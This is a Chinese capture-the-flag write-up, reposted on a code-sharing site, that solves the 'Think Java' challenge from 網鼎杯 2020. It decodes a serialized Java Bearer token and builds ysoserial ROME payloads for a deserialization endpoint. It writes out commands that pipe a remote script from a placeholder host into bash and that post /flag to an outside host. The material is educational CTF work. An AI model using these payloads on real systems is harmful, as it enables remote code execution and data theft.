[網鼎杯 2020 朱雀組]Think Java


前言

目前算是取得了不錯的進展。但此題必有玄機。2

這就是朱雀組31解的題🐎,tqllllllllllll。

下面是目前的成果,但是我還是沒能拿到flag……菜,枯了。3

2

進入正題

下方截圖算是hint , 當然對於沒有用過swagger-ui的 ,還是不算hint的叭(我都是問的大佬)。

image-20200519023407914

他是一個測試接口,我本來分享了swagger-ui的鏈接來着,但是現在那個鏈接好像被訪問炸了。

(我在文章中已經把鏈接刪了……考慮不周,復現的時候就只能看着沒有回顯的靶機,炒雞難受)。

因為就是套的swagger-ui,所以他的路由都不會變,本題只給出一個接口的原因八成就是這個意思。

我就刪了,如下是我們得到的mysql字段的具體作用。

/user/login,登錄獲得token

先給出當時測試的截圖(大佬截給我的)。

12

流程的分析:

此login接口用來模擬登錄,登錄成功后可以獲得一串data數據。部分數據可參考上圖箭頭所指。

下面做題得時候,用post傳參的截圖(看到登錄成功的時候,還是很開心的)。

image-20200519024802106

image-20200519025048416

可以參考這段json數據。

{
	"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
	"msg": "登錄成功",
	"status": 2,
	"timestamps": 1589814544730
}

對token數據進行處理分析

第一步,提取出序列化的數據

data對應的一串字符是Bearer token。

這串數據需要先base64,然后轉成16進制。不要復制出來base64的內容再轉16進制,直接用python2一步到位。

#此處使用python2
import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)

我一下午看了很多文章,有兩點很重要。

下方的特征可以作為序列化的標志參考:

一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據。

或者如果以aced開頭,那么他就是這一段java序列化的16進制。

我的部分運行結果參考(aced開頭)。

image-20200519030301974

第二步,分析序列化數據

用到工具SerializationDumper來解析數據

用法:

 java -jar SerializationDumper-[*version*].jar [*16進制數據*)]

輸出的詳細的字段代表的內容,一知半解也就不摻和了 。

詳細的字段分析請參考:https://dy.163.com/v2/article/detail/DMAD0T6P05119F6V.html

(運行結果截圖)

image-20200519024638824

最下方有這樣一段包含着admin字段,它就相當於保存着實質信息的數據塊。

admin就是用戶名。(我是這么認為)

image-20200519031101823

尋找反序列化注入點

我們上一步已經大致分析了data數據。

理一下思路:

登錄---》獲得token---》token中data的數據是一段間接的序列化字段。

這時候,

當我把序列化的token字段作為Authorization去印證這個UI的user/current接口。

他也會顯示成功登錄。

這說明,他會在current接口進行反序列化!

那么我們可以構造合適的序列化內容來構造getshell。

如何構造

java反序列化工具ysoserial

github地址:https://github.com/frohoff/ysoserial

ysoserial用法:以ROME和URLDNS舉例

即用ROME(我現在的認知就是他每一種都有不同的作用,比如rome可以命令執行,URLDNS可以進行dns回顯)。

java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin

java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin

然后要對他們進行數據處理。

下方程序python2或python3都可。

import base64
file = open("h3zh1.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
#print("Bearer "+ba) #可以解注釋此段,並注釋上一條print,便於快速測試
file.close()

注意檢查輸出的內容啊是否是rO0AB,如果差的很多,那么往回去看看叭。
如果看着差不多是合格的數據,那么注進去看看回顯叭。
(要把結果彈到自己的機器上哇)

腦殼疼

我彈shell的時候沒有成功,很難受。測試了好幾個都沒成,難受死了。

我的廢柴payload:

java -jar ysoserial-master.jar ROME "curl http://xxx.xxx.xxx/shell.txt|bash" > h3zh1.bin

最近的一步就是可以檢測到curl的執行。又卡住了,不過差不多也算完結了吧。

眼睜睜看着三位大佬一個個把題Kill了,自閉了,早上起來了去請教他們叭……。

睡覺。。。。。。。

2


end

(各種payload測試加研究打了無數遍,枯了)

終於有了大佬救了我(寫完題了,再去好好研究一下工具和序列化叭),感謝byc_404師傅教我新姿勢,太感謝了

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > h3zh1.bin

學到新姿勢,bingo。

參考鏈接:

基礎反序列化Gadgets集合:https://github.com/frohoff/ysoserial,里面包含了目前已知的來自jdk以及常用libs的反序列化Gadgets,如CommonsCollections、Groovy等,具體的POP鏈可以在ysoserial工具payloads目錄下各自的利用代碼中看到,也可以直接在其main函數中進行調試。

https://dy.163.com/v2/article/detail/DMAD0T6P05119F6V.html

JRE8u20反序列化漏洞分析

http://www.sfishlost.com/index.php/2020/01/05/java-deserialization-summary/

https://www.anquanke.com/post/id/200892

Java 反序列化回顯的多種姿勢 https://xz.aliyun.com/t/7740

https://blog.csdn.net/fnmsd/article/details/79534877


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM